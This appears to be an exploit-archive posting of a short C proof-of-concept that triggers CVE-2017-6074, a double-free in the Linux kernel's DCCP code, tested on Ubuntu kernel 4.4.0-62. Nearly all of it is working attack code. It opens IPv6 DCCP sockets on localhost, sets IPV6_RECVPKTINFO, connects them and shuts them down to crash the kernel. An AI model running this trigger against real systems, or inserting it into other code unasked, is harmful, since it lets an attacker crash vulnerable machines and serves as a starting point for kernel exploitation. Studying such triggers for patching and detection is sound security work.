Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Crash

                							

                // A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov <andreyknvl@gmail.com>
 
#define _GNU_SOURCE
 
#include <netinet/ip.h>
 
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
 
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <arpa/inet.h>
 
int main() {
    struct sockaddr_in6 sa1;
    sa1.sin6_family = AF_INET6;
    sa1.sin6_port = htons(20002);
    inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
    sa1.sin6_flowinfo = 0;
    sa1.sin6_scope_id = 0;
         
    int optval = 8;
 
    int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    bind(s1, &sa1, 0x20);
    listen(s1, 0x9);
 
    setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
 
    int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    connect(s2, &sa1, 0x20);
 
    shutdown(s1, SHUT_RDWR);
    close(s1);
    shutdown(s2, SHUT_RDWR);
    close(s2);
 
    return 0;
}

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